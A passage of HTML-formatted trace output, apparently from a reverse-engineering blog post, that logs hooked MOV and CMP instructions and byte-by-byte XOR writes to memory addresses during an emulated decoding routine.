class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f47]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f48]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f49]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f49 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f4a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x39</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000f3b: mov esi, <span class="number">0</span>x14</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000f55: cmp esi, <span class="number">0</span>x29</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f4f]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x0F</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010005cb: mov esi, <span class="number">0</span>xb</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010005e5: cmp esi, <span class="number">0</span>x17</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10005df]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010011f9: mov esi, <span class="number">0</span>x6</span><br><span class="line"><span class="selector-attr">[XOR @0x100120d]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01001213: cmp esi, <span class="number">0</span>xd</span><br><span class="line"><span class="selector-attr">[XOR @0x100120d]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100120d]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100120d]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100120d]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100120d]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100120d]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x27</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000db9: mov esi, <span class="number">0</span>x1a</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span 